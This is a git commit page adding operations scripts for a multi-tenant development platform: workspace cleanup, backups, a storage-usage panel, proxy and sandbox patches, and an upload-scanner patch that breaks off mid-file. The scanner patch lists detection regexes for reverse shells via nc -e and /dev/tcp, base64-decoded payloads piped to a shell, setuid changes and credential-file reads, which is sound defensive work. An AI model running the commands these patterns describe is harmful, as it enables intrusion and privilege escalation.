chore(工作区): 全量入库 + 补齐 .gitignore(以工作区为准)
- 变更规模:新增 514 / 修改 62 / 重命名 155 / 删除 4(归档重组与文档轮次) - .gitignore 修:`归档/**/db-cwd归一-备份-*/` —— 原规则写绝对层级(归档/db-cwd归一-…), 目录搬进 归档/配置与备份/ 后**静默失效**,43 MB 的 DB 备份又变成未跟踪 - .gitignore 补:嵌套 git 内部数据(归档/内嵌git-20261008/、归档/skills-git-旧线-20261007/dotgit-原样移出/) - .gitignore 补:运行态与部署副本(.workbuddy/collab/、.workbuddy/tools/、.workbuddy/.load-pending、.workbuddy/tmp-*) - .gitignore 补:备份件(*.bak-*) - 未跟踪文件从 2190 降到 890(其余为 归档/ 归档件与 .workbuddy/memory/ 知识文件,按口径入库)
This commit is contained in:
1 parent
30b46dbd0c
commit
c1b5e4d966
735 files changed
+153192
-2415
No files matched your search
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,71 @@
|
||||
#!/usr/bin/env node
|
||||
/**
|
||||
* clean-ws-pollution.cjs —— 清理"平台安装插件"在用户工作区留下的污染(档案 28)
|
||||
*
|
||||
* 白名单(精确匹配,绝不碰其它内容):
|
||||
* ws/.local pnpm store(旧 HOME=<ws> 造成)
|
||||
* ws/.cache pnpm metadata 缓存
|
||||
* ws/.poc-backup PoC 备份
|
||||
* ws/poc PoC 源码副本
|
||||
* ws/*.tgz 安装用插件包(现在改为直接用 /opt/dsh/artifacts/ 不再复制)
|
||||
*
|
||||
* 用法:
|
||||
* node clean-ws-pollution.cjs # dry-run(默认,只打印)
|
||||
* node clean-ws-pollution.cjs --apply # 实际执行:mv 到 <userRoot>/trash/<日期>-ws-pollution/
|
||||
* node clean-ws-pollution.cjs --apply --user-id <uuid>
|
||||
* 动作是**移动**(同盘 mv,秒级、可恢复),不是删除。
|
||||
*/
|
||||
const { execFileSync } = require('node:child_process')
|
||||
const { existsSync, mkdirSync, readdirSync, statSync } = require('node:fs')
|
||||
const { join } = require('node:path')
|
||||
const Database = require('/opt/dshs/node_modules/better-sqlite3')
|
||||
|
||||
const APPLY = process.argv.includes('--apply')
|
||||
const idx = process.argv.indexOf('--user-id')
|
||||
const onlyId = idx >= 0 ? process.argv[idx + 1] : ''
|
||||
const STAMP = new Date().toISOString().slice(0, 10)
|
||||
|
||||
const db = new Database('/var/lib/dshs/dshs.db', { readonly: true })
|
||||
const users = db.prepare('SELECT id, username, uid, home_dir FROM users').all()
|
||||
.filter((u) => onlyId === '' || u.id === onlyId)
|
||||
|
||||
const du = (p) => {
|
||||
try {
|
||||
const out = execFileSync('du', ['-sk', p], { encoding: 'utf8' })
|
||||
return Number(out.split(/\s+/)[0]) * 1024
|
||||
} catch { return 0 }
|
||||
}
|
||||
const fmt = (b) => (b >= 1048576 ? (b / 1048576).toFixed(1) + ' MB' : (b / 1024).toFixed(0) + ' KB')
|
||||
|
||||
for (const u of users) {
|
||||
const ws = join(u.home_dir, '..', 'ws')
|
||||
if (!existsSync(ws)) { console.log(` ${u.username}: NO_WS`); continue }
|
||||
const cands = []
|
||||
for (const rel of ['.local', '.cache', '.poc-backup', 'poc']) {
|
||||
const p = join(ws, rel)
|
||||
if (existsSync(p)) cands.push({ p, size: du(p) })
|
||||
}
|
||||
for (const f of readdirSync(ws)) {
|
||||
if (f.endsWith('.tgz')) {
|
||||
const p = join(ws, f)
|
||||
try { if (statSync(p).isFile()) cands.push({ p, size: statSync(p).size }) } catch {}
|
||||
}
|
||||
}
|
||||
const total = cands.reduce((a, c) => a + c.size, 0)
|
||||
console.log(` ${u.username}: 候选 ${cands.length} 项 / ${fmt(total)}${APPLY ? ' → 移入回收站' : '(dry-run)'}`)
|
||||
for (const c of cands) console.log(` - ${c.p.replace(ws, 'ws')} ${fmt(c.size)}`)
|
||||
if (APPLY && cands.length > 0) {
|
||||
const trash = join(u.home_dir, '..', 'trash', `${STAMP}-ws-pollution`)
|
||||
mkdirSync(trash, { recursive: true })
|
||||
for (const c of cands) {
|
||||
const dest = join(trash, c.p.slice(ws.length + 1).replace(/\//g, '__'))
|
||||
try {
|
||||
execFileSync('mv', [c.p, dest])
|
||||
execFileSync('chown', ['-R', `${u.uid}:${u.uid}`, dest])
|
||||
} catch (e) { console.log(` ! 移动失败 ${c.p}: ${String(e.message).split('\n')[0]}`) }
|
||||
}
|
||||
console.log(` → 已移至 ${trash.replace(u.home_dir, 'home')}(保留 30 天,可整目录移回恢复)`)
|
||||
}
|
||||
}
|
||||
db.close()
|
||||
console.log(APPLY ? 'done(已移动)' : 'done(dry-run,未改动)')
|
||||
@@ -0,0 +1,14 @@
|
||||
feat(maintenance): 清理策略一次性优化到位(会话保留 365 天 / .keep 豁免 / projcache 同步 / 用量面板)
|
||||
|
||||
1) 会话保留期加长(用户要求"对话记忆留长些"):90 -> 365 天;阈值 500 -> 1024 MB(cron 已更新)
|
||||
2) .keep 豁免:ws 顶层放 .keep 即跳过 T2(一次性脚本不清理),T1 仍清
|
||||
3) projcache 同步回收:session-gc 删会话时按 session-id 精确回收
|
||||
storages/session_projcache/sessions/<id>.json(不会误删他人会话)
|
||||
4) 用量可见:新增 scripts/storage-report.cjs(每小时快照 /var/run/dsh-storage-report.json);
|
||||
门户新增 GET /api/admin/storage(requireAdmin,只读快照不做实时 du);
|
||||
admin.html 新增「存储用量」区块(工作区/会话/回收站/可清理项数,超阈值标红)
|
||||
5) 硬配额评估结论 = 不做:根 fs 为 ext4 且未启用 prjquota,强行上需重挂载/重建(停机与数据风险不对称);
|
||||
当前用量 24%(8.6G/40G)无压力,以"软阈值 + 小时快照 + 门户可视 + 每日清理"替代
|
||||
|
||||
验证:ci.sh 通过;storage-report 首跑生成快照(admin ws=0 sessions=0.7M trash=17.6M);
|
||||
重启后 /api/admin/storage 未登录返回 401(受 requireAdmin 保护,证明路由生效);admin.html 已含用量区块。
|
||||
@@ -0,0 +1,12 @@
|
||||
#!/usr/bin/env python3
|
||||
# 把两处 helper 内的 request.log.warn(无 request 上下文)改为服务日志
|
||||
import io
|
||||
OLD = " request.log.warn({ findings: scanFindings.slice(0, 20), count: scanFindings.length }, 'upload-scan-warnings')"
|
||||
NEW = (" process.stderr.write(\n"
|
||||
" `[upload-scan-warnings] ${JSON.stringify({ count: scanFindings.length, findings: scanFindings.slice(0, 20) })}\\n`,\n"
|
||||
" )")
|
||||
for p in ("/opt/dshs/src/web/routes/business-plugins.ts", "/opt/dshs/src/web/routes/skills.ts"):
|
||||
s = io.open(p, encoding='utf-8').read()
|
||||
assert OLD in s, p
|
||||
io.open(p, 'w', encoding='utf-8', newline='').write(s.replace(OLD, NEW, 1))
|
||||
print('fixed', p)
|
||||
@@ -0,0 +1,34 @@
|
||||
#!/bin/bash
|
||||
# DSH 平台一键备份(2026-09-11 加固:可执行位 + SQLite 一致性快照 + 纳入运维资产)
|
||||
# 用法:/opt/dsh/backup.sh 产物:/opt/dsh/backups/dsh-platform-backup-<TS>.tar.gz
|
||||
set -euo pipefail
|
||||
TS=$(date +%Y%m%d_%H%M%S)
|
||||
OUT=/opt/dsh/backups/dsh-platform-backup-${TS}.tar.gz
|
||||
TMP=$(mktemp -d /tmp/dsh-bk-XXXXXX)
|
||||
trap 'rm -rf "$TMP"' EXIT
|
||||
|
||||
# 1) SQLite 一致性快照(运行中服务用 .backup,避免只拷到 -wal 而数据库不一致)
|
||||
if command -v sqlite3 >/dev/null 2>&1 && [ -f /var/lib/dshs/dshs.db ]; then
|
||||
sqlite3 /var/lib/dshs/dshs.db ".backup '$TMP/dshs.db'"
|
||||
DB_SNAP=1
|
||||
else
|
||||
DB_SNAP=0
|
||||
fi
|
||||
|
||||
# 2) 打包:用户数据 + 平台库/配置 + 运维资产(可重建)
|
||||
cd /
|
||||
ITEMS="var/lib/dshs etc/dshs.env etc/systemd/system/dshs.service etc/systemd/system/dsh-provision.path etc/systemd/system/dsh-provision.service"
|
||||
[ -d /opt/dsh/artifacts ] && ITEMS="$ITEMS opt/dsh/artifacts"
|
||||
[ -d /opt/dshs/scripts ] && ITEMS="$ITEMS opt/dshs/scripts"
|
||||
for f in /etc/cron.d/dsh-maintenance /etc/cron.d/dsh-backup /etc/nftables-dsh-egress.nft; do
|
||||
[ -f "$f" ] && ITEMS="$ITEMS ${f#/}"
|
||||
done
|
||||
[ -d /www/server/panel/vhost/nginx ] && ITEMS="$ITEMS www/server/panel/vhost/nginx"
|
||||
|
||||
tar -czf "$OUT" $ITEMS 2>/dev/null || true
|
||||
# 3) 把一致性 DB 快照追加进归档(覆盖 tar 里的实时 db 副本,确保恢复时用的是快照)
|
||||
if [ "$DB_SNAP" = "1" ]; then
|
||||
tar -czf "${OUT%.tar.gz}-db-snapshot.tar.gz" -C "$TMP" dshs.db
|
||||
fi
|
||||
echo "备份完成: $OUT"
|
||||
ls -lh "$OUT" ${OUT%.tar.gz}-db-snapshot.tar.gz 2>/dev/null || true
|
||||
@@ -0,0 +1,131 @@
|
||||
#!/usr/bin/env python3
|
||||
# 档案 24 补丁:实例侧 401(launch token 过期)在浏览器导航时自动恢复
|
||||
# 用法: python3 patch-24.py /opt/dshs
|
||||
import io
|
||||
import os
|
||||
import sys
|
||||
|
||||
root = sys.argv[1] if len(sys.argv) > 1 else '.'
|
||||
p = os.path.join(root, 'src/supervisor/proxy.ts')
|
||||
s = io.open(p, encoding='utf-8').read()
|
||||
changed = []
|
||||
|
||||
|
||||
def sub(old, new, cnt=1):
|
||||
global s
|
||||
assert old in s, 'anchor not found:\n' + old[:200]
|
||||
s = s.replace(old, new, cnt)
|
||||
changed.append(old.split('\n')[0][:60])
|
||||
|
||||
|
||||
# 1) 成功分支带上 userId(用于取新 token)
|
||||
sub(
|
||||
""" const endpoint = await app.supervisor.endpointFor(session.user.id)
|
||||
if (endpoint === undefined) return { error: 'not_running', code: 404, userId: session.user.id }""",
|
||||
""" const endpoint = await app.supervisor.endpointFor(session.user.id)
|
||||
if (endpoint === undefined) return { error: 'not_running', code: 404, userId: session.user.id }
|
||||
// userId 一并返回:实例侧 401(launch token 过期)时用它取当前实例的新 token(档案 24)。""",
|
||||
)
|
||||
|
||||
# 2) proxyHttp 增加 freshAuthUrl 参数
|
||||
sub(
|
||||
""" rewriteLoopbackLocation = false,
|
||||
useKeepAlive = false,
|
||||
): void {
|
||||
reply.hijack()""",
|
||||
""" rewriteLoopbackLocation = false,
|
||||
useKeepAlive = false,
|
||||
/**
|
||||
* 实例侧 401 时的恢复入口(档案 24):浏览器导航遇到 dsh 的 "authentication required"
|
||||
* (launch token 过期 —— 实例重启/回收后刷新旧标签页)时调用,返回应 302 到的地址。
|
||||
* 返回 undefined 则回落到 '/'。
|
||||
*/
|
||||
freshAuthUrl?: () => Promise<string | undefined>,
|
||||
): void {
|
||||
reply.hijack()""",
|
||||
)
|
||||
|
||||
# 3) 上游响应里的 401 处理(插在 writeHead 之前)
|
||||
sub(
|
||||
""" reply.raw.writeHead(upRes.statusCode ?? 502, headers)""",
|
||||
""" // 2026-09-11(档案 24):实例侧 401 = launch token 过期。浏览器导航时不要停在
|
||||
// dsh 的 "dsh web authentication required; reopen the URL printed by dsh web." 死端页,
|
||||
// 而是用当前实例的新 token 302 回同一地址(拿不到则回门户)。
|
||||
if (
|
||||
upRes.statusCode === 401 &&
|
||||
request.raw.method === 'GET' &&
|
||||
String(request.headers.accept ?? '').includes('text/html') &&
|
||||
freshAuthUrl !== undefined
|
||||
) {
|
||||
upRes.resume()
|
||||
void freshAuthUrl()
|
||||
.then((url) => {
|
||||
reply.raw.writeHead(302, { location: url ?? '/' })
|
||||
reply.raw.end()
|
||||
})
|
||||
.catch(() => {
|
||||
reply.raw.writeHead(302, { location: '/' })
|
||||
reply.raw.end()
|
||||
})
|
||||
return
|
||||
}
|
||||
reply.raw.writeHead(upRes.statusCode ?? 502, headers)""",
|
||||
)
|
||||
|
||||
# 4) 子域 onRequest 调用点:传入 freshAuthUrl
|
||||
sub(
|
||||
""" proxyHttp(request, reply, access.endpoint, request.raw.url ?? '/', undefined, app.config.deployMode === 'local', app.config.deployMode === 'k8s')
|
||||
})
|
||||
|
||||
// Per-user subdomain: WebSocket upgrade tunnel.""",
|
||||
""" const navScheme = app.config.secureCookies ? 'https' : 'http'
|
||||
const navHost = clientHost(request.headers) ?? app.config.baseDomain
|
||||
proxyHttp(
|
||||
request,
|
||||
reply,
|
||||
access.endpoint,
|
||||
request.raw.url ?? '/',
|
||||
undefined,
|
||||
app.config.deployMode === 'local',
|
||||
app.config.deployMode === 'k8s',
|
||||
async () => {
|
||||
const status = await app.supervisor.status(access.userId)
|
||||
const token = status.main?.launchToken
|
||||
return token !== undefined && token !== ''
|
||||
? `${navScheme}://${navHost}/?token=${encodeURIComponent(token)}`
|
||||
: `${navScheme}://${app.config.baseDomain}/`
|
||||
},
|
||||
)
|
||||
})
|
||||
|
||||
// Per-user subdomain: WebSocket upgrade tunnel.""",
|
||||
)
|
||||
|
||||
# 5) 路径式路由 /u/:slug/dsh/ 调用点:同样传入
|
||||
sub(
|
||||
""" proxyHttp(request, reply, endpoint, targetPath, prefix, app.config.deployMode === 'local', app.config.deployMode === 'k8s')
|
||||
})""",
|
||||
""" const pathScheme = app.config.secureCookies ? 'https' : 'http'
|
||||
proxyHttp(
|
||||
request,
|
||||
reply,
|
||||
endpoint,
|
||||
targetPath,
|
||||
prefix,
|
||||
app.config.deployMode === 'local',
|
||||
app.config.deployMode === 'k8s',
|
||||
async () => {
|
||||
const status = await app.supervisor.status(request.user!.id)
|
||||
const token = status.main?.launchToken
|
||||
return token !== undefined && token !== ''
|
||||
? `${pathScheme}://${app.config.baseDomain}${prefix}/?token=${encodeURIComponent(token)}`
|
||||
: `${pathScheme}://${app.config.baseDomain}/`
|
||||
},
|
||||
)
|
||||
})""",
|
||||
)
|
||||
|
||||
io.open(p, 'w', encoding='utf-8', newline='').write(s)
|
||||
print('patched anchors:')
|
||||
for c in changed:
|
||||
print(' -', c)
|
||||
@@ -0,0 +1,69 @@
|
||||
#!/usr/bin/env python3
|
||||
# 档案 25:not_running 的浏览器导航兜底 —— 绝不吐 JSON;并发进场等待在飞的实例
|
||||
# 用法: python3 patch-25.py /opt/dshs
|
||||
import io
|
||||
import os
|
||||
import sys
|
||||
|
||||
root = sys.argv[1] if len(sys.argv) > 1 else '.'
|
||||
p = os.path.join(root, 'src/supervisor/proxy.ts')
|
||||
s = io.open(p, encoding='utf-8').read()
|
||||
|
||||
old = """ // 实例未运行(后台回收/崩溃/停止后刷新会话页)→ 自动重启并 302 到新实例 URL,
|
||||
// 透明恢复,不必让用户重新登录。
|
||||
if (access.code === 404 && access.error === 'not_running' && access.userId !== undefined) {
|
||||
try {
|
||||
const folderAbs = app.userFs.resolvePath(access.userId, '')
|
||||
const instance = await app.supervisor.launch(access.userId, folderAbs, undefined)
|
||||
const token = instance.launchToken ?? ''
|
||||
if (token !== '') {
|
||||
const scheme = app.config.secureCookies ? 'https' : 'http'
|
||||
reply.redirect(`${scheme}://${clientHost(request.headers)}/?token=${encodeURIComponent(token)}`)
|
||||
return
|
||||
}
|
||||
} catch {
|
||||
// 启动失败(目录异常/已在启动中等)→ 落到下方 not_running 响应
|
||||
}
|
||||
}
|
||||
reply.code(access.code).send({ error: access.error })
|
||||
return"""
|
||||
|
||||
new = """ // 实例未运行(后台回收/崩溃/停止/熔断后刷新会话页)→ 自动重启并 302 到新实例 URL,
|
||||
// 透明恢复,不必让用户重新登录。
|
||||
if (access.code === 404 && access.error === 'not_running' && access.userId !== undefined) {
|
||||
const navScheme = app.config.secureCookies ? 'https' : 'http'
|
||||
const navHost = clientHost(request.headers) ?? app.config.baseDomain
|
||||
const isNavigation =
|
||||
request.raw.method === 'GET' && (request.headers.accept ?? '').includes('text/html')
|
||||
let token = ''
|
||||
try {
|
||||
const folderAbs = app.userFs.resolvePath(access.userId, '')
|
||||
const instance = await app.supervisor.launch(access.userId, folderAbs, undefined)
|
||||
token = instance.launchToken ?? ''
|
||||
} catch {
|
||||
// 并发进场(另一个请求正在拉起 → AlreadyRunningError)或启动异常:
|
||||
// 等一会儿取在飞实例的 token,而不是直接把 404 JSON 甩给浏览器(档案 25)。
|
||||
try {
|
||||
await app.supervisor.waitForLaunchTokenForUser(access.userId, 20000)
|
||||
token = (await app.supervisor.status(access.userId)).main?.launchToken ?? ''
|
||||
} catch {
|
||||
token = ''
|
||||
}
|
||||
}
|
||||
if (token !== '') {
|
||||
reply.redirect(`${navScheme}://${navHost}/?token=${encodeURIComponent(token)}`)
|
||||
return
|
||||
}
|
||||
// 仍拿不到 token:浏览器导航一律回门户(可点「进入」,避免看到裸 JSON);API 保持 JSON。
|
||||
if (isNavigation) {
|
||||
reply.redirect(`${navScheme}://${app.config.baseDomain}/`)
|
||||
return
|
||||
}
|
||||
}
|
||||
reply.code(access.code).send({ error: access.error })
|
||||
return"""
|
||||
|
||||
assert old in s, 'anchor not found'
|
||||
s = s.replace(old, new, 1)
|
||||
io.open(p, 'w', encoding='utf-8', newline='').write(s)
|
||||
print('patched: not_running 浏览器导航兜底 + 并发等待')
|
||||
@@ -0,0 +1,49 @@
|
||||
#!/usr/bin/env python3
|
||||
import io
|
||||
p = '/opt/dshs/web/admin.html'
|
||||
s = io.open(p, encoding='utf-8').read()
|
||||
anchor = """ <table class="admin">
|
||||
<thead><tr><th>用户名</th><th>角色</th><th>注册时间</th><th>操作</th></tr></thead>
|
||||
<tbody id="users"></tbody>
|
||||
</table>
|
||||
"""
|
||||
assert anchor in s
|
||||
block = anchor + """
|
||||
<h3 style="margin:22px 0 8px">存储用量 <span class="auth-sub" id="storageAt" style="font-weight:400"></span></h3>
|
||||
<table class="admin">
|
||||
<thead><tr><th>用户</th><th>工作区</th><th>会话</th><th>回收站</th><th>可清理</th></tr></thead>
|
||||
<tbody id="storage"></tbody>
|
||||
</table>
|
||||
<p class="auth-sub" style="margin:6px 0 0">工作区达 <span id="thWs"></span> / 会话达 <span id="thSess"></span> 时由每日维护任务自动清理(工作区 90 天、会话 365 天前的记录;均先入回收站保留 30 天)。</p>
|
||||
"""
|
||||
s = s.replace(anchor, block, 1)
|
||||
js_anchor = " document.getElementById('logoutBtn').addEventListener('click', async () => {"
|
||||
assert js_anchor in s
|
||||
js = """ function fmtB(b) { return b >= 1073741824 ? (b / 1073741824).toFixed(2) + ' GB' : (b / 1048576).toFixed(1) + ' MB' }
|
||||
async function loadStorage() {
|
||||
const tbody = document.getElementById('storage')
|
||||
try {
|
||||
const r = await (await fetch('/api/admin/storage')).json()
|
||||
document.getElementById('storageAt').textContent = r.generatedAt ? `(更新于 ${new Date(r.generatedAt).toLocaleString()})` : ''
|
||||
if (r.thresholds) {
|
||||
document.getElementById('thWs').textContent = r.thresholds.wsMB + ' MB'
|
||||
document.getElementById('thSess').textContent = r.thresholds.sessionsMB + ' MB'
|
||||
}
|
||||
tbody.innerHTML = (r.users ?? []).map((u) => `<tr>
|
||||
<td>${esc(u.username)}</td>
|
||||
<td style="${u.wsOver ? 'color:var(--danger)' : ''}">${fmtB(u.ws)}</td>
|
||||
<td style="${u.sessionsOver ? 'color:var(--danger)' : ''}">${fmtB(u.sessions)}</td>
|
||||
<td>${fmtB(u.trash)}</td>
|
||||
<td>${u.cleanableT1 + u.cleanableT2} 项 / ${fmtB(u.cleanableBytes)}</td>
|
||||
</tr>`).join('') || `<tr><td colspan="5" class="auth-sub">${esc(r.note ?? '暂无数据')}</td></tr>`
|
||||
} catch { tbody.innerHTML = '<tr><td colspan="5" class="auth-sub">读取失败</td></tr>' }
|
||||
}
|
||||
""" + js_anchor
|
||||
s = s.replace(js_anchor, js, 1)
|
||||
call_anchor = " await loadUsers()"
|
||||
if call_anchor in s:
|
||||
s = s.replace(call_anchor, call_anchor + "\n await loadStorage()", 1)
|
||||
else:
|
||||
s = s.replace("loadUsers()", "loadUsers(); loadStorage()", 1)
|
||||
io.open(p, 'w', encoding='utf-8', newline='').write(s)
|
||||
print('E admin.html 用量区块已写入')
|
||||
@@ -0,0 +1,19 @@
|
||||
#!/usr/bin/env python3
|
||||
import io
|
||||
p = '/opt/dshs/src/web/routes/admin.ts'
|
||||
s = io.open(p, encoding='utf-8').read()
|
||||
anchor = " app.get('/api/admin/users', { preHandler: requireAdmin },"
|
||||
assert anchor in s
|
||||
new = """ // 档案 28:存储用量面板(读取维护脚本生成的快照文件,避免每次请求都 du)
|
||||
app.get('/api/admin/storage', { preHandler: requireAdmin }, async () => {
|
||||
const { readFileSync } = await import('node:fs')
|
||||
try {
|
||||
return JSON.parse(readFileSync(process.env.DSH_STORAGE_REPORT ?? '/var/run/dsh-storage-report.json', 'utf8'))
|
||||
} catch {
|
||||
return { generatedAt: null, users: [], note: '报告尚未生成(cron 每小时刷新一次)' }
|
||||
}
|
||||
})
|
||||
|
||||
""" + anchor
|
||||
io.open(p, 'w', encoding='utf-8', newline='').write(s.replace(anchor, new, 1))
|
||||
print('D admin.ts 新端点已写入')
|
||||
@@ -0,0 +1,58 @@
|
||||
#!/usr/bin/env python3
|
||||
# 档案 18/17 P1(H2):把平台策略文件在实例内设为只读(bwrap --ro-bind-try)
|
||||
# 用法: python3 patch-b1-write-protect.py /opt/dshs
|
||||
import io, os, sys
|
||||
root = sys.argv[1] if len(sys.argv) > 1 else '.'
|
||||
p = os.path.join(root, 'src/supervisor/orchestrator.ts')
|
||||
s = io.open(p, encoding='utf-8').read()
|
||||
|
||||
# 1) spawnAsUser 增加 role 形参(用于定位 profile 目录名)
|
||||
old_sig = """ private async spawnAsUser(
|
||||
userId: string,
|
||||
command: string,
|
||||
args: string[],
|
||||
options: { cwd: string; env: Record<string, string> },
|
||||
): Promise<{ child: ChildProcess; unit?: string }> {"""
|
||||
new_sig = """ private async spawnAsUser(
|
||||
userId: string,
|
||||
command: string,
|
||||
args: string[],
|
||||
options: { cwd: string; env: Record<string, string> },
|
||||
role: InstanceRole = 'main',
|
||||
): Promise<{ child: ChildProcess; unit?: string }> {"""
|
||||
assert old_sig in s, 'sig'
|
||||
s = s.replace(old_sig, new_sig, 1)
|
||||
|
||||
# 2) 调用点传入 role
|
||||
old_call = """ const { child, unit } = await this.spawnAsUser(userId, command, [...args, ...launchArgs], { cwd: folder, env })"""
|
||||
new_call = """ const { child, unit } = await this.spawnAsUser(userId, command, [...args, ...launchArgs], { cwd: folder, env }, role)"""
|
||||
assert old_call in s, 'call'
|
||||
s = s.replace(old_call, new_call, 1)
|
||||
|
||||
# 3) 在 --bind root root 之后追加平台策略文件的只读覆盖
|
||||
old_bind = """ '--bind', tmpDir, '/tmp',
|
||||
'--bind', root, root,
|
||||
'--unshare-pid',"""
|
||||
new_bind = """ '--bind', tmpDir, '/tmp',
|
||||
'--bind', root, root,
|
||||
// 2026-09-11(档案 18 v3 收尾 / 档案 17 §P1):平台策略文件在实例内**只读**。
|
||||
// 威胁模型:用户可把 <userRoot>/home/profiles/web 加为工作区,随后用 bash 直接改写
|
||||
// cordis.patch.yml(去掉平台段 → 恢复全盘 picker)或 package.json(挂任意 bundle)→
|
||||
// 属"绕过平台策略"(跨租户仍不成立,uid/bwrap 隔离不变)。
|
||||
// 只读三个文件;**不动 cordis.yml**——实测 dsh 启动时会写它(01:16:22),ro 会导致启动异常。
|
||||
// 注意:必须放在 '--bind root root' **之后**(bwrap 后写覆盖前写)。
|
||||
...(() => {
|
||||
const profileDir = join(homeRoot(root), 'profiles', role === 'main' ? 'web' : 'headless')
|
||||
const protectedFiles = ['cordis.patch.yml', 'package.json', 'pnpm-lock.yaml']
|
||||
const out: string[] = []
|
||||
for (const name of protectedFiles) {
|
||||
const file = join(profileDir, name)
|
||||
out.push('--ro-bind-try', file, file)
|
||||
}
|
||||
return out
|
||||
})(),
|
||||
'--unshare-pid',"""
|
||||
assert old_bind in s, 'bind'
|
||||
s = s.replace(old_bind, new_bind, 1)
|
||||
io.open(p, 'w', encoding='utf-8', newline='').write(s)
|
||||
print('B1 补丁脚本已生成')
|
||||
@@ -0,0 +1,22 @@
|
||||
#!/usr/bin/env python3
|
||||
# B3 便宜版(档案 19 §C5):给废弃/不可达的表加注释(**不得含反引号**——schema 是 TS 模板字符串)
|
||||
import io
|
||||
p = '/opt/dshs/src/db/schema.ts'
|
||||
s = io.open(p, encoding='utf-8').read()
|
||||
|
||||
W = """-- 【2026-09-11 档案 19 §C5 便宜版】该表在本部署已废弃:folder_plugins 无任何业务/路由调用
|
||||
-- (grep 实证:仅 src/db/* 自引用;档案 16 已宣布 folder 级插件废弃)。
|
||||
-- 保留表结构仅为兼容 k8s/PG 未验证路径(档案 19 §C8)——请勿在此表上新增功能。
|
||||
CREATE TABLE IF NOT EXISTS folder_plugins ("""
|
||||
assert s.count('CREATE TABLE IF NOT EXISTS folder_plugins (') == 2
|
||||
s = s.replace('CREATE TABLE IF NOT EXISTS folder_plugins (', W)
|
||||
|
||||
WS = """-- 【2026-09-11 档案 19 §C5 便宜版】该表仅被 enablePatch 分支使用
|
||||
-- (src/web/routes/dsh.ts 的 findWorkspaceByPath),而 DEFAULT_ENABLE_PATCH=false 且生产 env 未覆盖
|
||||
-- → 本部署不可达。保留以兼容 k8s 路径;请勿在此表上新增功能。
|
||||
CREATE TABLE IF NOT EXISTS workspaces ("""
|
||||
assert s.count('CREATE TABLE IF NOT EXISTS workspaces (') == 2
|
||||
s = s.replace('CREATE TABLE IF NOT EXISTS workspaces (', WS)
|
||||
assert '`' not in W and '`' not in WS
|
||||
io.open(p, 'w', encoding='utf-8', newline='').write(s)
|
||||
print('schema.ts 已加 4 处注释(无引号版)')
|
||||
@@ -0,0 +1,191 @@
|
||||
#!/usr/bin/env python3
|
||||
# 档案 19 §C6(B4:安全扫描分级扩展)+ 档案 18 v3 收尾(B2:编排器自愈补齐 picker)
|
||||
# 用法: python3 patch-b4-b2.py /opt/dshs
|
||||
import io, os, sys
|
||||
root = sys.argv[1] if len(sys.argv) > 1 else '.'
|
||||
def rd(p): return io.open(os.path.join(root,p), encoding='utf-8').read()
|
||||
def wr(p,s): io.open(os.path.join(root,p),'w',encoding='utf-8',newline='').write(s)
|
||||
def sub(p, old, new, cnt=1):
|
||||
s = rd(p); assert old in s, f'anchor missing in {p}: {old[:80]}'
|
||||
wr(p, s.replace(old,new,cnt))
|
||||
|
||||
# ───────────────────────── B4:security-scan.ts 分级扩展 ─────────────────────────
|
||||
p = 'src/web/security-scan.ts'
|
||||
s = rd(p)
|
||||
s = s.replace("""/**
|
||||
* Shared upload security scan (安全检测) for skill and business-plugin uploads.
|
||||
* Heuristic scan over text files only — a hit means an *obviously* malicious or
|
||||
* privilege-escalating pattern, so the upload is rejected rather than admitted.
|
||||
* @module dshs/web/security-scan
|
||||
*/""",
|
||||
"""/**
|
||||
* Shared upload security scan (安全检测) for skill and business-plugin uploads.
|
||||
*
|
||||
* 分级(档案 19 §C6,2026-09-11):
|
||||
* · **P0(阻断)** —— 明显恶意/提权模式:命中即拒绝上传(HTTP 400),与历史行为一致;
|
||||
* · **P1(告警)** —— 可疑但常见的模式(动态执行、外联、敏感 env、长 base64、隐藏文件/`.git`):
|
||||
* **不阻断**,作为 findings 返回并写日志,供管理员在上传时人工复核。
|
||||
* 之前只有"命中即 400",缺少分级与整改提示;现在 `scanDir` 返回 P1 findings(调用方可忽略)。
|
||||
* @module dshs/web/security-scan
|
||||
*/""", 1)
|
||||
|
||||
s = s.replace("""const SCAN_TEXT_EXT = new Set([
|
||||
'.js', '.mjs', '.cjs', '.ts', '.tsx', '.jsx', '.sh', '.bash', '.py', '.json', '.md', '.txt', '.yml', '.yaml', '.html', '.css',
|
||||
])""",
|
||||
"""const SCAN_TEXT_EXT = new Set([
|
||||
'.js', '.mjs', '.cjs', '.ts', '.tsx', '.jsx', '.sh', '.bash', '.zsh', '.py', '.json', '.md', '.txt',
|
||||
'.yml', '.yaml', '.html', '.css', '.toml', '.ini', '.conf', '.env', '.cfg',
|
||||
// 2026-09-11 扩展:非 JS 生态的常见脚本/配置(上传包里同样可能藏恶意指令)
|
||||
'.rs', '.go', '.java', '.php', '.rb', '.pl', '.lua', '.sql', '.ps1', '.psm1', '.bat', '.cmd',
|
||||
])
|
||||
|
||||
/** 扫描体积上限(旧值 2MB 会漏掉较大脚本;提到 8MB,仍跳过二进制/超大文件)。 */
|
||||
const SCAN_MAX_BYTES = 8 * 1024 * 1024""", 1)
|
||||
|
||||
# 原 7 条 → BLOCK(P0),并补充明显恶意的模式
|
||||
s = s.replace("const DANGEROUS_PATTERNS: Array<{ re: RegExp; why: string }> = [",
|
||||
"/** P0:明显恶意/提权 → 直接阻断上传。 */\nconst BLOCK_PATTERNS: Array<{ re: RegExp; why: string }> = [", 1)
|
||||
s = s.replace(""" { re: /\\.credentials\\.yaml/, why: '读取实例会话密钥' },
|
||||
]""",
|
||||
""" { re: /\\.credentials\\.yaml/, why: '读取实例会话密钥' },
|
||||
// 2026-09-11 新增(档案 17 §S/M 对齐):仍是"明显恶意"档,故归 P0
|
||||
{ re: /\\bnc\\s+-[a-z]*e[a-z]*\\s+\\S+\\s+\\d+/, why: '反弹 shell(nc -e)' },
|
||||
{ re: /\\/dev\\/tcp\\/\\d{1,3}(\\.\\d{1,3}){3}\\/\\d+/, why: '反弹 shell(/dev/tcp)' },
|
||||
{ re: /(?:base64\\s+-d|b64decode|atob)\\s*[\\s\\S]{0,40}?\\|\\s*(?:sh|bash)\\b/, why: 'base64 解码后直接执行' },
|
||||
{ re: /\\bchmod\\s+(?:\\+s|4[0-7]{3}|6[0-7]{3})\\b[^\\n]{0,40}(?:\\/usr\\/bin|\\/bin)\\//, why: '尝试为系统二进制加 setuid/特权位' },
|
||||
